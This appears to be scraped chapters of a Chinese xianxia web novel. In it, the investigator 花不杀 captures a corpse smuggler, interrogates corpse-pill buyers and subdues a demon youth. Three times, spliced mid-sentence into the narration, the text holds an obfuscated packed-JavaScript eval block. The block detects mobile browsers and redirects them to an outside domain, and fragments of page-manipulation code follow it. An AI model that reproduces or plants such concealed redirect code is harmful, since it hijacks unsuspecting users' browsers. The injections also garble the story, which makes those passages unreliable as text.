《我花开后百花杀》 1. 鬼赶路 “嘎达、嘎达……” 山林间传来一阵突兀的响声,连绵三里地,在夜里显得格外清晰。 月华浅浅,依稀描摹出山林的轮廓。黑暗中,一行人影沿着山道缓缓移动。这些人动作笨拙,肢体僵硬,每走一步脚都与地面摩擦出奇怪的嘎达声。 这群人中为首的是个白衣老僧,手执佛仗,佛仗上的铜环一步一摇晃,敲出清脆的声响。那些人正是听从铜环响声的号令,紧步跟随。 “阿弥陀佛……阿弥陀佛……” 老僧手里转着一串佛珠,嘴里不停念叨着。他闭着眼睛慢慢走着,崎岖的山道倒也不磕绊一下。 下一秒,他的脑袋撞上一个硬物,“噔”的一响,额头立刻磕出个包来。他吓得睁开眼睛,却看见挡住自己的是一把巨大的铁剑,高三丈宽二尺,深深插·入山道里,把去路堵截。 老僧顺着铁剑往上看,却见剑柄护手的雕花上坐着个红衣女子。女子抱着手臂,踢着腿,嘴里叼着颗草,也低头向他看来。 她脸上挂着不羁的笑容,像顽皮的孩童那样,看见他出糗笑意浓了几分。 “阿弥陀佛。”老僧单手做参拜状,行了个佛礼,“施主拦我去路,是为何故?贫僧要务在身,施主莫闹,放贫僧行去,莫耽误了工夫。” 女子从护手上一跃而下,衣摆像朵红莲落在他面前。她吐掉嘴里的野草,笑意盈盈看着他说:“老师父何去呀?师父要务在身,我自当放行,但你后面这些‘人’去不得,留下来交给我吧。” “你!”老僧脸上慈霭的表情一瞬间凝固了,他脸色臭了几分:“女施主莫要胡闹,贫僧和他们都要行去,莫要阻拦,你也拦不住的!” “是么?”女子眉梢挑了挑,走近一步,眼中有几分挑战的意味:“老师父几斤几两,敢与我说这样的话?别以为用了障眼术,我便不知道他们是何物,你带着这些阴兵阴将要去何处啊?” “你!你怎么看出来的?!”老僧被她的话吓得身体一抖,眼睛都睁大了许多。 “夜黑风高,阴兵开道,险些叫你蒙混过关了。若不是你法术太次,遮不住阴气,被我发现,今夜真叫你溜了。说说吧,你的买家是谁?” 老僧被她看穿一切,心下当即慌了,后撤几步,手中的佛仗指着她,瞪大眼睛道:“你是谁?竟然能看出阴气!你早就在这里等着我了,好一个守株待兔!只是凭你一个小女子拦得住我吗?我劝你少管闲事,否则今夜的阴兵中再加你一人!” “噢?老师父好大的口气。”女子转动手腕,活动活动筋骨,眼中燃起战意,“正好,我正想看看你这皮下是何等模样。” 老僧目光一狠,手中的佛仗顿时流光溢彩,他向前一送,佛仗便如尖锐的刀剑刺向了女子。 女子勾唇一笑,空手接了过去。佛仗的光芒几乎将她吞噬,灵气逼人。她以拳脚相接,三招之内却叫他佛仗离手,胸口猛中一击。 女子劈出一道掌风,撕下他脸上的人·皮·面具,里面露出的却是个五官稚嫩的少年郎。 “你、你到底是谁啊?强得太过分了吧?这一战根本不公平!”少年吐着血,被打趴在地上,她的力量吓得他瑟瑟发抖。 女子横他一眼:“少说废话,你既不招,便随我去巡衙司一趟吧。这些阴兵充公了。” 女子变出一条铁链将少年捆绑起来,她又变出一只铃铛,用铃音操纵着这群阴尸往最近的巡衙司走去。 山风冷冽,山道崎岖。巡衙司离这里几十里地,以阴尸的行进速度少说要好几个时辰。少年被她拽着走,脚都磨痛了,心里很不服气,一路上吵着闹着问她是谁、干什么吃的、凭什么抓他啊? 女子被他吵得心烦,最后看着他冷冷道:“花不杀,杀人的,因为你该死。给我闭嘴。” 少年识趣地闭嘴了。不是因为怕她再揍自己一顿,而是被她的名字吓傻了。花不杀,那可是传说中的铁面阎罗啊! 别看她生得像朵小娇花,却是个能让死鬼开口的酷吏啊!天底下还没有她审不出的案子,这一去不得交代在她手里了? 少年顿时心灰意冷,心想完了完了,死定了,这一趟钱没捞着,小命还搭进去了。 花不杀听见少年抽泣的声音,忍了一会儿,最后忍无可忍:“再哭杀了你。” 少年被她的威严镇住,抹干眼泪,委屈巴巴跟在她身后。 翌日清晨,天边泛起鱼肚白时,他们一行人尸终于赶到巡衙司。值守的差吏见过她的官牌后,将少年和一众阴尸押入了大牢。 这时候巡衙令乐呵呵围了过来:“大人,您要的材料我都整理好了,我连夜查阅各地的卷宗,今儿早上才整理好的,这件连环杀人案总算被我摸到一点眉目了!” 巡衙令高兴得脸上的肥肉都抖了抖,迈着笨重的步子跟在花不杀身旁,看她往牢里走,问了一句:“大人是要先提审那几个买主呢,还是我先向您回禀一下案情?” 花不杀道:“你说,我听着。” 花不杀看都没看他一眼,巡衙令被她冷冷的态度冰了一下,但很快又换上笑脸,乐呵呵的。他心想不愧是仙京来的大人,有个性! 巡衙令道:“下官探查清楚,最早的一起杀人案发生在大西关城,接着是小西关城、后西关城,三座城连成一线,由边境向内地延伸。 咱们这里是仙界的西域地带,案发地点都在接近‘极西鬼域’的地方,我就猜想啊,杀人案会不会与鬼界有关?” 巡衙令捋捋胡子,继续说:“按理说这几座城濒临鬼界,平日里偶有鬼魂出逃,伤几个人,也不是什么稀奇事,以往也发生过这样的案子。只是近日死者离奇地多了起来,让人很难不联想到鬼界。 大人你想啊,咱们仙界和鬼界一开始就不对付,打打杀杀了几万年。现在天下安定了这么久,鬼界出来挑事,也不是没道理的。 说不定他们就想着用这件事挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626587|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起两界争端,和我们打一仗呢?啊呀,我的天,我发现了什么!” 巡衙令突然压低声音,鬼鬼祟祟地在她耳边说:“大人,这件案子牵扯不小啊!鬼知道他们是不是打着这主意呢?不可小视啊,大人快上报给仙君陛下,请他裁夺吧!” “停,回禀完了就闭嘴吧。” 花不杀对他的脑补能力表示敬佩,他一开口就停不下来,像一百只鸭子在耳边叽叽喳喳,吵得她很烦躁。 花不杀道:“案发地点可派人勘察过了?有什么线索没有?” 巡衙令摇摇头:“事发突然,三城的仙民都笼罩在恐惧中,城主们只顾得上安抚他们,分·身乏力,顾不上勘察。更何况案发地点众多,还来不及一一勘察……” “啊对了,我昨夜通知城主们来巡衙司协助破案了,想必马上就到了吧,一会儿大人可以亲自问问他们。” “嗯。” 花不杀冷冰冰的态度,让他这个话痨子憋得慌。他忍了片刻,又找了个话题,道:“大人,那些买主的身份我已经查明了,他们是附近城里的富户,都是有头有脸的人物。根据他们的交易时间来看,这个生意他们暗地里做了有十天半个月了,听他们说这些尸体是买来炼丹药长修为的。” “尸丹?”花不杀瞥了他一眼。 巡衙令被她一看,受宠若惊,脸上的笑容更灿烂了:“是呀是呀,他们不知道哪里找来的法子,说是以尸体制丹可以助长修为,他们是想修炼想疯了吧!大人,你说说他们,真的是!” “嗯。” 花不杀再次冷冷地结束了对话。 巡衙令说得正起劲,被她一盆水浇灭了热情,表达欲没有得到满足,心都痒痒的。他酝酿着要和她再聊些什么。 花不杀在他开口之前先一步道:“我记得你这牢里还关着一个魔头,是不是?把他带来,我见见。” “啊?大人……大人,那魔头可不好惹啊!”巡衙令吓了个半死。 “我知道。” 巡衙令看她态度坚决,苦口婆心劝道:“大人,您可能不知道,他可是天底下唯一流着魔血的怪物啊!他是魔族诶,是我们仙族根本掌控不了的种族!上月初他在此地出世,便引得妖风作怪了整整七日,附近镇压的山鬼一齐出逃,附近城中很是乱了一阵。幸好天镜司几位大人察觉异端,前来将那魔头擒住,就地镇压,才平息乱象。 这一月来他被关在销魂阵里,好不容易磨了他的魔骨,若是中止阵法带他离开,怕是会功亏一篑,他的魔性会重新回来呀!大人不怕……” “我知道。” 巡衙令脸色越来越苍白:“大人啊,您别吓我,您不知道啊,您别看他还处在少年时期,但魔族这个种族太可怕了,传说中一个魔就可以毁天灭地了,他是天大的祸害啊!” “我知道。” 巡衙令几乎要昏过去:“大……” “你别管,带来就是。” 2. 审讯室 “都说说吧,尸体是哪来的?“ 暗牢内,花不杀坐在审讯席上,巡衙令和几个狱卒侍候在左右。在她的下方跪着几个富态的中年男子,他们被锁链捆绑着,身上有道道鞭痕。 几个火把照亮着审讯室,这里的空气却阴冷极了,买主们被冷意冻得浑身哆嗦。他们抬头看了一眼声音的来处,看见火光中一张冰漠的脸,视线相合之时,不知为何身体一激灵。 “大、大人,大人呐,小仙冤枉啊!我不知道买卖几具阴尸也犯法啊,我真不知道自己在犯罪啊,小仙冤枉啊,大人明查啊!” 一名矮胖的男子在地上磕了几个响头,一瞬间声泪俱下。 “是啊是啊,大人,我们都是遵法守法的好仙民啊,我们真不知道这样也算犯罪的啊!要是一早就知道,借我几个胆子我也不敢做这生意了!” 一名大肚子肥脸男也哭天抢地地求饶起来,磕头的动静比刚才那位还大,额头很有诚意地磕出了个包。 “是啊是啊,大人明鉴啊!” 剩下的几位买主异口同声道,也学着他们的样子磕头求饶。 “你们通通放屁!” 巡衙令听到这里脸色阴沉了下来,愤怒地指着他们,严厉呵斥:“你们几个合起来骗鬼呢?大人不知道,我还不知道你们吗?方圆百里的城邑里就数你们几个最有钱,都是成精的人了,会不知道什么事能做,什么事不能做?你们分明就是不见棺材不落泪!大人,狠狠治他们的罪!” 巡衙令义愤填膺地看着花不杀,脸都气红了。花不杀转头瞥了他一眼,巡衙令立刻捂着嘴,退到后面,不再作声。 买主们看见巡衙令在这位大人面前毕恭毕敬,虽不知她是什么来头,但可以确定一点,今天的审判权全在她一人手中。他们悄悄抬头看了一眼她的脸色,却从她的眼神里感到莫名的压抑感,立刻低下了头。 花不杀道:“你们只有一次减罪的机会,若不珍惜,这辈子就到此为止吧。” “别别别,大人,我说,我说。”肥脸男立刻端正了态度:“大人,我府上的阴尸都是从夜场买来的,每日子时,夜场就会竞价售卖这些阴尸,一具尸体甚至可以卖到一颗金豆子啊!那夜场里可热闹了,子时一到,贵客云集,少说有几十号买主!我认识的就有好几个,河东的张拐子、河西的李麻子、白大耳朵都在那买过阴尸。” 肥脸男抬头看着她:“大人,他们也犯法了,应该把他们一起抓来啊!” “我自会去抓,无需你操心。你只需告诉我夜场在何处?” 矮胖男抢先一步答:“大人,夜场就开在大西关城!每天戌时一到,就有车马从各个城赶过去。大人赶紧派人去各个路口堵他们啊,把他们都抓过来!” “你在教大人做事?你小子倒是挺操心哈!”巡衙令知道他想多找几个伴坐牢,瞪了他一眼。 花不杀道:“夜场场主你们可见过?” 肥脸男抢回话语权:“场主还真没人见过,连售卖现场的小厮都带着面具。我们买完也不是立刻就能带阴尸走的,都是‘暗人’夜里赶尸到各自府上,一手交钱,一手交货。 说到这暗人,也挺神秘的,他们不以真面目示人,都是场主选拔·出来的各路高手,若是拿不到钱,就要用买主的命来偿。这不,好几个买主竞价时被人架在那了,不得不出高价,结果货到了付不起钱,第二天只好让家人收尸了。” 花不杀转头看巡衙令:“有这回事?” 巡衙令哆嗦了一下,行着礼回:“是啊是啊大人,巡衙司这几日接到好几起这样的案子了。都怪我忙昏头了,竟忘记告诉大人这事了,大人勿怪,勿怪。” 花不杀道:“下次和我聊些有用的。” “是、是,下官记住了。” 花不杀转回头,道:“是何人告诉你们尸丹可以助长修为的? “是天仙楼的姑娘告诉的!”矮胖男道:“天仙楼是小西关城最有名的花楼,我们几个就是在那里喝酒时听说这事的。那里的姑娘说得跟真的似的,我们第一次去夜场还是她们带去的呢!” 肥脸男道:“说起来服用尸丹有没有用还真不好说,虽然灵力有增长一些,但我近日总提不起精神,喝花酒都兴致缺缺,连吃肉都觉得没滋味。” 有人应和道:“诶对对对,我也是!那些天总是萎靡不振,被关了几天精神反而好一些了。” “可不是嘛,我也这样!” 花不杀面前放着几粒缴获的尸丹,她用手研磨开闻了闻,微一蹙眉:“你们那钱看来是白花了。” “大人何意?” 买主们都抬头看着花不杀。 花不杀道:“得失都是天命,哪是你们想改就改的?就算尸丹可以增长些许灵力,但也是以你们的元寿为代价换来的。” “什么?大人这话什么意思啊?我们的元寿怎么了?!” 买主们一瞬间脸色煞白。 花不杀道:“服用阴物折损阴德,你们的千年元寿怕只剩下不到百年。” “大人这话当真?哎呦喂,我的命啊!我的老天爷啊,怎么会这样了?” 肥脸男哭得倒在了地上。 矮胖男一瞬间心如死灰,吓得像根木头一动不动。其余几人也心如刀绞,痛哭流涕,最惜命的那个甚至直接晕了过去。 花不杀一拍惊堂木,他们才止住哭声。她道:“说说吧,你们各自买了多少阴尸?” 在仙界贩卖人口是重罪,处以斩刑。即使他们买的是阴尸,人并非他们杀的,但他们也处在人口利益链上,依仙律也要以贩卖人口罪判决,重则斩刑,轻则流放异界。 买主们最不想面对的量刑时刻到了,瞧她眼神不善,铁石心肠,心里想她一定会给他们下重刑的!一个个吓得哆嗦,不敢答话。 花不杀扫了他们一眼:“我只 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“我、我一百一十…… “我我我三百七……” “我我四百三……啊啊啊,我太多了,饶命啊大人!” 花不杀听他们一个个报完自己的数字,而后道:“凡三百以下者流放异界,生死由命,三百以上者处以斩刑,即刻处决。” “是!大人!”巡衙令接到命令,指派一旁的狱卒把他们押了下去,立刻行刑去了。 花不杀看着巡衙令道:“我要的魔头怎么还没带来?” 巡衙令腿一软几乎跪下去,生怕她下一瞬翻脸把自己处决了,连忙拱手行礼道:“下官派去的人回来了,就在外面,我叫他们进来问问。” 巡衙令把门外的几个狱卒拽了进来,狱卒们打着寒战跪在地上,为首的那个道:“大大大大大大大大人……” “舌舌、舌头捋直了说话!”巡衙令踢了他一脚。 狱卒苦着脸说:“回禀大、大人,我们砍断锁链的时候,那魔头身上的魔性重新活了过来,他失控了。我们好几个人都按不住他,恐怕得劳烦大、大人亲自去一趟了。” “哎哟,我的天爷诶!”巡衙令扶着额头,险些吓晕:“出了这么大的事,你们就在外面站着,也不懂进来回禀?魔头跑了怎么办?” 狱卒心里苦,想说他们来的时候她正在杀人呢,敢进来吗? “行了,出了事你向上面参我一本。” 花不杀往审讯室外面走去。 巡衙令追上去,几乎要哭出来:“我的大人诶,下官哪敢参您呐,您敢放他出来,必是有把握制服他。下官相信大人,对您那是一百个放心呐。” “那就闭上嘴,别哭。” 巡衙令乖乖捂住嘴。他尽量哭得很小声,不引起注意。 3. 魔少年 销魂阵布在大牢最下一层的岩浆狱中,需得从暗牢往下走七层,直到遇上一片岩浆海,再经过悬索桥到达对面的石台,便是魔头囚禁之处。 花不杀赶到岩浆海的时候,空间里正逸散着丝丝缕缕的魔气。肉眼可见黑色的气雾在空间里游走,像乌云一样罩在岩浆海的上方。 面前的空间是个地下溶洞,巨大如一座城池。魔头被困在岩浆海的中心,几名狱卒与之近身缠斗,不让他逃离。 溶洞里无端起风,刮着热浪炙烤着整个空间。岩浆的表面像海水一样翻涌起波浪,破在四岸,击出一片“火树银花”。 “哎呀呀,要死了,没想到这魔头这么厉害,锁链一断魔性立刻回归,几个人都按不住!真是要命了!” 巡衙令在花不杀后面赶来,正看见狱卒和魔头打斗的画面。那魔头周身笼罩在厚厚魔气凝成的气盾里,狱卒的攻击全被这道气盾拦下,一丝都到不了他的身上。 而那魔头睁着一双猩红的眼睛,张开双臂,怒声咆哮着。他的魔性快速觉醒,伴随着雄厚力量的回归,正变得越来越可怕。他之所以只防不攻,是在等待时机,等力量强大之后一举杀了狱卒们。 “大人呐,您看看吧,我就说这魔头放不得,放不得!短短一瞬他就这样厉害了,真让他逃出去,这天下还要不要了?哎呦,天爷啊!” 巡衙令背靠着石壁,几乎喘不上气。他心里害怕极了,要是真闯出祸来,他这巡衙令的脑袋也不够摘的。 “别哭丧了,回去收拾一间大厢房出来,今夜魔头和我一起睡。” 花不杀丢下这句话,身影如电飞了出去。她穿过岩浆海,落在魔头面前。 魔头注意到她,眼中杀气陡然强盛起来。他不再蓄势,而是朝着花不杀一拳头砸了过来。 花不杀眼疾手快,空手接下他的拳头。在他蓄力准备第二次攻击时,花不杀突然扯住他的手臂,嘴里念咒:“天地如一,万法归心,诸天云雷,听我神旨!云涯紫电,速归!” 她另一只手二指并拢,对着他的手腕一指,只听“轰隆”一声巨响,一道紫色雷电劈向魔头的手腕。 却在下一瞬间,紫电环绕着手腕变幻成一只紫金手镯,戴在魔头手上。也在那一刻,一股浩浩灵力通达魔头的四肢百骸,封住他体内奔涌的魔血,将他的魔性抑制住。他周身黑雾散去,意识沉迷,突然瘫软在地上。 岩浆海的风浪渐渐平息,魔头狰狞的神情随之褪去,黑发中露出少年俊秀的侧脸。他的皮肤很白皙,五官还有些稚嫩。 “我的天,大人真的降住了大魔头!” 巡衙令急匆匆飞过来,震惊得下巴都要脱臼了。他不敢相信花不杀如此轻松就制服了他,顿时对她敬佩得五体投地。 “大人真乃神人也!从今以后您就是我的神!” 花不杀蹙眉道:“少废话了,把他抬到厢房,等我回去。” “啊?大人不一起回去吗?”巡衙令看着花不杀往回走去,着急道:“大人放他一人在房中,要是他突然醒了怎么办?” “有云涯紫电困着他,我不授意,他不可能逃得了。” “原来是这样。”巡衙令立刻吩咐几名狱卒把魔头少年扛起来带回去。 “哎呦喂,轻点轻点啊!把他摇醒了你们打啊?小心着点!” 巡衙令嘱咐完狱卒们,屁颠屁颠跟上花不杀:“大人这是要去哪呀?” 花不杀回头冷冷看他一眼:“你话好密,大人的事少管。” 巡衙令被她噎了回去,却没有半分不开心。他在后面看着她潇洒的背影,再一次被她的英姿折服。不愧是仙京来的大人,走路带风,说话也酷! 花不杀来到关押阴尸和少年的那几间暗牢。他们被安置在最角落的牢房内,阴尸们被绳索捆绑着,扎堆关起来,那少年则卧在草垫上,睡得挺香。 “你倒是心大,一点不怕。” 少年听见声音,从梦里惊醒过来,抬头看见她的一瞬间面如死灰,但即使心里惧怕,嘴却很硬:“落到你手里,反正必死无疑,既然要死,还不让人舒舒服服睡一觉了啊?” “若是我给你活命的机会呢?” 少年怔怔看了她一瞬,怀疑自己听错了:“你不是号称铁面阎罗么?还会让人活着离开牢房?全仙界哪个不知道你的名号,你向来只认律法,不通人情,别想糊弄我。” 花不杀道:“我可以给你将功赎罪的机会,从轻发落,要不要随你。” 她作势要走,少年赶忙爬起来走到牢门处,他双手握着铁栅栏,挤出半张脸来,急切道:“你说话当真?” 花不杀看着他:“我从不诓人。我只给你一次机会,要不要活命由你自己决定。” “我要我要!你要我做什么?只要你放了我,我什么都答应你!”少年眼中重新燃起希望,睁大双眼看着她。 花不杀道:“若我没猜错,你也是夜场主的暗人之一,告诉我夜场主是谁?” 少年被她的问题吓得脸色一变,双手赶忙哆嗦着松开栅栏,往后退了一步:“我……我不能说,说了我就活不了了!” “为何?” 少年眼中充满惧意,脸色苍白了许多,他声音微颤着说:“每一个被选中的暗人,都被夜场主种下了绝命蛊,一旦说出他的秘密,被他知晓,绝命蛊就会发作,顷刻暴毙而亡!你别问了,我不可能告诉你的,我还不想死!” 少年踉跄着往后退,花不杀击出一道紫光,将他笼罩着定在原地。 花不杀道:“我可以封了大牢,任何音讯都传不出去,他就是耳力再好也听不到你的声音,你可放心了?” 少年绝望地摇头:“没用的,绝命蛊虫可以听到暗人说的话,声音通过夜场主手里的母虫传出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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花不杀在少年身旁蹲下来,她伸手捏着少年的下巴,将他的脸抬起来。 她微微一笑:“我耐心有限,只给你一次机会,你若不说,我保证在夜场主动手前先结果了你。现在你的命在我手中,还不知道该听谁的么?” 少年身体僵直,一动不敢动。花不杀突然的微笑,让他慌了神,他直直看着她的眼睛,像被她的眼睛吸住了,不知道怎么移开视线,竟愣了一下。 她有世间最好看的面容,如此容易迷惑人心。少年的神智游离在她的声音之外,以至于片刻才后知后觉反应过来她在威胁自己,吓出满头大汗。 “你威胁我!你们这些仙官都是你这样办案的吗?你恐吓犯人,这样和屈打成招有什么区别?你名声那么臭,我怎么知道你会说话算话,不会过河拆桥杀了我?” 花不杀凑近一些,拇指摩挲着他的下颌:“原来在你们眼中我是杀人不眨眼的?既如此,你再不说,我让你见识见识心狠手辣的花不杀。” 少年脸色红白参半,脸颊莫名有些热:“你、你靠这么近干嘛啊?审我需要这么近吗?!” 4. 山庄主 在花不杀的威逼之下,少年终于识时务地认清形势,将自己知道的一切娓娓道来。 “你说的夜场主我也只见过一次。那时我被庄主带到夜场,受命成为他的暗人,他亲自给我种下绝命蛊,我才近距离见过他一回。不过那时他戴着面具,根本看不清脸长什么样,只知道他身形修长,器宇不凡,眼眸深邃,让人不寒而栗。我匆匆一瞥,再不敢抬头看他。” 花不杀道:“你说的庄主又是何人?” 少年道:“他是我的师父,是小西关城外灵剑山庄的庄主。我从小是个孤儿,十年前是他捡我回去,给我一口饭吃的。他收我为徒,教我剑术,我和师兄们就是在他的教导下修为精进,成为附近几城中数得上号的高手。 半个月前庄主把我们几个弟子带到了夜场,他要我们替夜场主办事。从那日起,我们成为了暗人,负责押送阴尸和收缴买金。” 花不杀道:“既然是庄主带你们去的,夜场主给你们下绝命蛊的时候你们也没有质疑过?你们应该知道他种的是要命的蛊虫吧?你们也乖乖听话?没有怀疑庄主卖了你们、利用你们?” 少年垂下头,神情失落:“遇上要命的事谁会不怀疑?当时就有师兄质问庄主和夜场主有什么阴谋,结果被庄主当场杀了。师父性情古怪,不许弟子忤逆,我们都怕极了他,师兄死后更无人敢反抗,只能被他们利用了。” “大人,我听明白了,这是一场蓄谋已久的阴谋啊!” 巡衙令突然跳进牢内,振奋道:“这场杀人案就是夜场主和庄主合谋策划的,二人狼狈为奸,图财害命啊!他们很早就开始策划了,庄主收养弟子,为的就是日后用来杀人和运尸!为了这个计划,他们准备了十几年甚至几十年,真是太可怕了!大人既然知道凶手是谁了,快派人去抄了夜场和山庄,把这两个恶魔抓捕归案呐!” “不对不对,人不是我们杀的,我们只负责押送尸体啊!人是夜场主的人杀的!” 少年急忙争辩,解释道:“夜场主的夜场建在大西关城外的青牙山溶洞里,地下四通八达,只在入口处建了一条夜市街,剩下的都是用来储存尸体的地方! 我们押送的尸体就是从溶洞里牵出来的,都是夜场主一早准备好的。他手下有死士无数,人是他们杀的啊!我真的冤枉!” 花不杀心中对这桩案子有了初步推断,梳理出来大致的脉络。她问少年:“和我说说你这师父姓甚名谁,是何模样?” 少年道:“我师父叫季端阳,是个白胡子老头,他虽然容貌衰老,双眼却像青年人一样有神,与一般的老者相差甚远。寻常的仙民只有千年元寿,师父他老人家还没有突破下品仙的境界,却活了一千二百余岁。他极爱惜自己的性命,但凡受了点伤,都要用最好的丹药调养。他性情孤僻,不喜欢与人交往,他对待陌生人丝毫不讲情面,时常有误闯山庄的人被他拖入房中处决,尸骨无存。” “你这一说我倒是记起来一件事,从几十年前开始小西关城外就常有人走失于山林,搜寻无果,如今看来,岂不是都被季端阳这个老头暗杀了?!” 巡衙令面露震惊,没想到困扰他多年的悬案今日竟这样破了。 少年道:“大抵就是被他杀了。师父绝不允许有人靠近灵剑山庄,挑战他底线的人,不会有好结果的。” 巡衙令突然神情激动起来:“其他山庄即便谢绝来客,也不至于伤人性命,你们屁大点的庄连靠近一点都不行,季端阳肯定藏着猫腻啊!大人,依我说赶紧带人抄了山庄才是,季端阳这只老狐狸好不容易露了馅,可不能让他跑了!” 花不杀点头,道:“你速派人前去捉拿,记着捉活口。” “是!”巡衙令高兴地领了任务,转身喊来附近的狱卒,让他们告知巡衙司内的差吏,即刻收拾兵器前去灵剑山庄捉拿季端阳。 狱卒退下之后,一名报信的差吏匆匆走了过来,在巡衙令耳边说了什么。巡衙令听完表情一喜,乐呵呵对花不杀说:“大人,三位城主已经在巡衙司大堂等候了,大人快去审问他们吧。” 花不杀看着他兴奋的表情,有些错愕,不就是问个话么,他怎么像是要去看天大的热闹,已经按耐不住的样子? “嗯。”花不杀应了一声,让巡衙令带路,往大堂走去。 “喂!你就这样走了?你答应我的还算不算数了啊?你这么大个官,不会说话跟放屁一样吧?你给个准话啊!” 少年握着铁栅栏,看着她的背影大喊。 花不杀边往前走边回他:“念你不是主动帮人赶尸,且有悔意,我便免你死罪,一年后自会放你出去。” “娘的,还要坐牢啊?” 少年一屁股坐在地上,想到自己要在这黑乎乎的牢房里呆一年,顿时心灰意冷,感觉生活都没有光了。 他哭丧着个脸,呢喃着:“早知道接晚一天的单了……” 暗牢离大堂有段距离,走路要费一会儿功夫。路上,花不杀询问巡衙令这三位城主的信息,巡衙令脸上一喜,几乎手舞足蹈地向她介绍起来。 “我先向大人介绍大西关城的云默城主吧!这云默城主是三位城主里最年轻的一位,今年刚满一百岁,对我们仙族来说才是刚刚成年的年纪。一年前老城主病逝,云默承袭城主爵位,当了个小城主。虽然他年轻没经过事,在治理城池的问题上一窍不通,但在几位辅城官员的辅佐下,大西关城这一年也算太平安稳。 近日突然发生了这起杀人案,城民人心惶惶,云默既要保护城民,又要挨个记录被害人信息,可够他焦头烂额的了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626590|172395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听说因为这事他都累晕过去好几回了。” “小西关城的赵青城主就老成得多,虽然只比他大了一百余岁,但他亲政已久,处理起这些事来有条不紊。杀人案发生之后,他第一时间加强了全城防备,所以小西关城的被害人数量是三城中最少的。 说起这赵青城主,他年纪不大却处事圆滑,极其老道。这些年他广结好友,认识了不少正反两道的人物,他还吃得挺开,在西域这片地盘上,说起他赵青恐怕没几个不认识的。” “第三位后西关城的城主风烈是个出了名的药罐子,别看他名字取得彪悍,实则是个弱不禁风的,身子清瘦极了,脸上也没几两肉。最近几年总有传言,说他病入膏肓,命不久矣,更甚至好几回传出他病逝的消息,奔丧的人都上门了好几回,闹了好大的笑话。 风烈病后,城中事宜全部交给几位辅城官员处理,他久居房中,很久都没有出门了。本来我不打算叫他来的,但他听说是大人您来查案了,说什么都要亲自见一见。这一回他可是冒了很大的风险出门的。” “是么?”花不杀对这位风烈城主有了兴趣,弯唇一笑道:“能冒着生命危险前来见我,实属难得,看来果真是敬仰我许久了。” “哎。”巡衙令叹了口气,面露愁容:“说到他我就头疼,你说他来一趟总得休息休息再走吧,我就要安排最好的侍女小心伺候着,城里最好的医官我也都叫了来,就怕他在巡衙司里有个闪失,我不好向后西关的城民们交代。他一说要来,我昨夜整宿都睡不着,到现在都还悬着心呢。” 巡衙令拍拍自己的胸膛,让自己平复了一下心情。 花不杀转头看着他,见他愁容满面唉声叹气的,心里却很怀疑,他真的有把这事放心上么?有新的热闹他上赶着去看,小嘴巴叽里咕噜讲个不停,很难不让人怀疑,他早把这事抛到九霄云外去了吧?心慌?不存在的。 花不杀笑笑:“你这么慌张,倒让我迫不及待想见见这位让你头疼的主儿了。” 巡衙令顶着一张委屈巴巴的脸,胖胖的脸颊像两个小肉包挂在颧骨上,让他看起来憨态可掬、惹人怜爱。 他的眼泪说来就来,眼眶一瞬间湿润了:“大人诶,不是我矫情,见了他您就知道我为什么担惊受怕了,那真是捧在手里都怕他化了的宝贝啊!” 花不杀被他的形容逗笑了,安慰他说:“放心吧,有我在,他出不了事的,我帮你兜着底。” “大人要是这样说,那我真就不担心了啊。” 巡衙令抹抹眼泪,立刻换上一副轻松的笑脸,像个没事人一样。表情转换之快令人称奇,他不去唱戏真是可惜了人才。 “嗯。” 花不杀点点头。除去聒噪的声音不谈,他娇憨的样子倒是挺惹人喜欢的。 5. 三城主 “大人,这就是我和您说的三位城主了。” 巡衙令刚进院子,迫不及待向花不杀介绍起来。他指着大堂中等候的几个人影道:“大人您看,那个在偷吃糕点的就是云默城主,正襟危坐的那个是赵青城主,坐在椅子上咳嗽的就是风烈城主了。” 花不杀“嗯”一声,抬头向里面瞧了一眼。如他所说,云默城主是个半大的少年郎,举止不太成熟,他正左右手拿着糕点往嘴里塞,贪吃的样子像个屁大点的孩童。他一身白衣裳沾了不少泥污,看样子近日着实忙得焦头烂额了。 反观一旁的赵青则成熟稳妥得多,他坐得端正,静默不语,在三人中显得最有礼节。而风烈几乎是躺在椅子上,腰背不直,咳一声身体一颤,病弱极了。 巡衙令和花不杀往大堂里走,巡衙令咳嗽一声,三位城主这才转头注意到他们,立刻起身相迎,躬身行礼道:“下官见过巡按大人。” 花不杀快步走进大堂,稍抬了抬手示意他们免礼。她径直走向上位,坐下便道:“三位城主无需多礼,都坐吧,今日叫你们来只是了解情况,不必太拘束,有什么说什么便是。你们谁先来?” 花不杀雷厉风行的办事方式让他们愣了愣,他们彼此相视一眼。此时云默两颊塞着满满的糕点,嚼得卖力,风烈咳得正起劲,喘不上气,唯有赵青嘴巴得空。 